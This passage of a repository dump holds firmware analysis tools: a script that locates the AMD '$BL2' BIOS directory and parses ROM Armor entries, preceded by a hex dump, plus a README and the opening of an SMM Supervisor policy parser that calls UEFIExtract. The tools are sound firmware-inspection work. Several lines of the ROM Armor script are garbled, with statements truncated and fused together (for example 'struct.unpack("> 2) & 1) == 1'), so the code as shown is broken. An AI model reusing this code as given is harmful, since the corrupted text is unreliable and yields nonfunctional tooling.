ff ff ff ff ff ff ff ff |.@..............| 13 | 0083d070 68 00 80 00 00 30 00 00 00 10 01 00 00 00 00 80 |h....0..........| 14 | 0083d080 ff ff ff ff ff ff ff ff 61 00 00 00 00 00 00 00 |........a.......| 15 | 0083d090 00 00 00 00 00 00 00 00 00 00 f0 09 00 00 00 00 |................| 16 | 0083d0a0 62 00 0b 00 00 00 1a 00 00 00 f6 01 00 00 00 40 |b..............@| 17 | 0083d0b0 00 00 c0 09 00 00 00 00 63 00 00 20 00 80 02 00 |........c.. ....| 18 | 0083d0c0 00 40 01 00 00 00 00 80 ff ff ff ff ff ff ff ff |.@..............| 19 | 0083d0d0 64 00 10 00 10 63 00 00 00 c0 03 00 00 00 00 80 |d....c..........| 20 | 0083d0e0 ff ff ff ff ff ff ff ff 65 00 10 00 e0 04 00 00 |........e.......| 21 | 0083d0f0 00 24 04 00 00 00 00 80 ff ff ff ff ff ff ff ff |.$..............| 22 | 0083d100 64 00 20 00 80 61 00 00 00 29 04 00 00 00 00 80 |d. ..a...)......| 23 | 0083d110 ff ff ff ff ff ff ff ff 65 00 20 00 50 02 00 00 |........e. .P...| 24 | 0083d120 00 8b 04 00 00 00 00 80 ff ff ff ff ff ff ff ff |................| 25 | 0083d130 66 00 00 00 c0 17 00 00 00 8e 04 00 00 00 00 80 |f...............| 26 | 0083d140 ff ff ff ff ff ff ff ff 66 00 10 00 c0 17 00 00 |........f.......| 27 | 0083d150 00 a6 04 00 00 00 00 80 ff ff ff ff ff ff ff ff |................| 28 | 0083d160 66 00 20 00 c0 17 00 00 00 be 04 00 00 00 00 80 |f. .............| 29 | 0083d170 ff ff ff ff ff ff ff ff 6a 00 00 00 70 05 00 00 |........j...p...| 30 | 0083d180 00 d6 04 00 00 00 00 80 ff ff ff ff ff ff ff ff |................| 31 | 0083d190 6d 00 00 20 00 00 04 00 00 00 00 01 00 00 00 40 |m.. ...........@| 32 | 0083d1a0 ff ff ff ff ff ff ff ff 6d 00 10 20 00 00 04 00 |........m.. ....| 33 | 0083d1b0 00 00 04 01 00 00 00 40 ff ff ff ff ff ff ff ff |.......@........| 34 | 0083d1c0 6d 00 20 20 00 00 04 00 00 00 08 01 00 00 00 40 |m. ...........@| 35 | """ 36 | 37 | ROM_ARMOR_BIOS_DIR_MAGIC = b"$BL2" 38 | ROM_ARMOR_ENTRY_TYPE = 0x6D 39 | 40 | 41 | BIOS_TABLE_HEADER_SIZE = 0x10 42 | BIOS_TABLE_ENTRY_SIZE = 0x18 43 | PAGE_SIZE = 0x1000 44 | 45 | BIOS_TABLE_ENTRY_TYPE_OFFSET = 0 46 | BIOS_TABLE_ENTRY_FLAGS_OFFSET = 2 47 | BIOS_TABLE_ENTRY_SIZE_OFFSET = 4 48 | BIOS_TABLE_ENTRY_S_ADDRESS_OFFSET = 8 49 | BIOS_TABLE_ENTRY_D_ADDRESS_OFFSET = 0x10 50 | 51 | EA_MODE_PHYSICAL_ADDRESS = 0x00 52 | EA_MODE_BIOS_FLASH_OFFSET = 0x01 53 | EA_MODE_DIRECTORY_OFFSET = 0x02 54 | EA_MODE_PARTITION_OFFSET = 0x03 55 | 56 | def main(filename): 57 | f = open(filename, "rb") 58 | content = f.read() 59 | f.close() 60 | 61 | # Read page by page and attempt to match the bios directory magic 62 | aligned_len = len(content) & 0xFFFFFFFFFFFFF000 63 | offset = -1 64 | for i in range(0, aligned_len, PAGE_SIZE): 65 | if content[i:i+4] == ROM_ARMOR_BIOS_DIR_MAGIC: 66 | #print(f"Found at offset {i:08x}") 67 | offset = i 68 | break 69 | 70 | if offset == -1: 71 | print(f"-> error: the magic {ROM_ARMOR_BIOS_DIR_MAGIC} was not found") 72 | sys.exit(-1) 73 | 74 | number_of_entries = struct.unpack("> 2) & 1) == 1 81 | 82 | entry_size = struct.unpack("") 101 | else: 102 | main(sys.argv[1]) 103 | -------------------------------------------------------------------------------- /tools/smm_supervisor_policy_parser/README.md: -------------------------------------------------------------------------------- 1 | # SMM Supervisor Policy Parser 2 | 3 | This is a simple utility which will extract an SMM Supervisor policy binary from a UEFI container and print the policy details. 4 | 5 | This requires `UEFIextract` to be in your path. 6 | 7 | ## Usage 8 | 9 | ``` 10 | $ python smm-supervisor-policy-parser.py huawei_rom.bin 11 | Supervisor Policy Object 12 | Version: 65536 13 | Size: 248 14 | Policy Roots: 4 15 | Policy Root 16 | Version: 0x0000000000000001 17 | Type: IO 18 | Count: 0x0000000000000002 19 | Access Attribute: DENY 20 | Io Policy Entry 21 | IoAddress: 0x0CF8 22 | Size: 0x0004 23 | Attributes: WRITE | STRICT WIDTH 24 | Io Policy Entry 25 | IoAddress: 0x0CFC 26 | Size: 0x0004 27 | Attributes: WRITE 28 | Policy Root 29 | Version: 0x0000000000000001 30 | Type: MSR 31 | Count: 0x0000000000000009 32 | Access Attribute: DENY 33 | MSR Policy Entry 34 | MsrAddress: C0000080 35 | Size: 0001 36 | Attributes: READ | WRITE | EXECUTE 37 | MSR Policy Entry 38 | MsrAddress: C0000081 39 | Size: 0004 40 | Attributes: READ | WRITE | EXECUTE 41 | MSR Policy Entry 42 | MsrAddress: C0010010 43 | Size: 0001 44 | Attributes: READ | WRITE | EXECUTE 45 | MSR Policy Entry 46 | MsrAddress: C0010111 47 | Size: 0001 48 | Attributes: READ | WRITE | EXECUTE 49 | MSR Policy Entry 50 | MsrAddress: 000001D9 51 | Size: 0001 52 | Attributes: READ | WRITE | EXECUTE 53 | MSR Policy Entry 54 | MsrAddress: 00000DA0 55 | Size: 0001 56 | Attributes: READ | WRITE | EXECUTE 57 | MSR Policy Entry 58 | MsrAddress: 000006A0 59 | Size: 0001 60 | Attributes: READ | WRITE | EXECUTE 61 | MSR Policy Entry 62 | MsrAddress: 000006A2 63 | Size: 0001 64 | Attributes: READ | WRITE | EXECUTE 65 | MSR Policy Entry 66 | MsrAddress: 000006A4 67 | Size: 0005 68 | Attributes: READ | WRITE | EXECUTE 69 | Policy Root 70 | Version: 0x0000000000000001 71 | Type: INSTRUCTION 72 | Count: 0x0000000000000003 73 | Access Attribute: ALLOW 74 | Instruction Policy Entry 75 | Instruction: CLI 76 | Attributes: EXECUTE 77 | Instruction Policy Entry 78 | Instruction: WBINVD 79 | Attributes: EXECUTE 80 | Instruction Policy Entry 81 | Instruction: HLT 82 | Attributes: EXECUTE 83 | Policy Root 84 | Version: 0x0000000000000001 85 | Type: MEMORY 86 | Count: 0x0000000000000000 87 | Access Attribute: DENY 88 | ``` 89 | 90 | -------------------------------------------------------------------------------- /tools/smm_supervisor_policy_parser/smm-supervisor-policy-parser.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import os 3 | import sys 4 | import struct 5 | import subprocess 6 | from shutil import which, rmtree 7 | from policy_entry import * 8 | import argparse 9 | 10 | POLICY_GUIDS = [ 11 | "83E1F409-21A3-491D-A415-B163A153776D" # SmmSupvBin 12 | ] 13 | 14 | def get_uefitool_path(): 15 | path = which("uefiextract") 16 | if not path: 17 | path = which("UEFIextract") 18 | 19 | return path 20 | 21 | def extract_files(rom, guid): 22 | subprocess.call([get_uefitool_path(), rom, guid, '-o', 'policy_tmp'], 23 | stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 24 | 25 | def get_policy_bin(guid): 26 | for root, dirs, files in os.walk("./policy_tmp"): 27 | path = root.split(os.sep) 28 | for file in files: 29 | if file == "info.txt": 30 | with open(os.path.join(root, file), 'r') as fp: 31 | for line in fp.readlines(): 32 | if guid in line: 33 | policy_path = os.path.join(root, '0 Raw section/body.bin') 34 | return open(f"{policy_path}", "rb").read() 35 | return None 36 | 37 | def parse_policy(data): 38 | # Example container header: 39 | # 24 50 53 50 BB 61 AD DE 05 00 00 00 10 04 00 20 $PSP.a......... 40 | # C0 00 00 00 00 02 00 00 00 04 00 00 00 00 00 00 ................ 41 | # C1 00 00 00 A4 02 00 00 00 06 00 00 00 00 00 00 ................ 42 | # C2 00 00 00 00 02 00 00 00 09 00 00 00 00 00 00 ................ 43 | # C3 00 00 00 40 04 00 00 00 0B 00 00 00 00 00 00 ....@........... 44 | # C4 00 00 00 F8 00 00 00 00 10 00 00 00 00 00 00 ................ 45 | if data[80] != 0xc4: 46 | print("Not a valid PSP header, treating as raw binary policy\n") 47 | policy = data 48 | version = struct.unpack('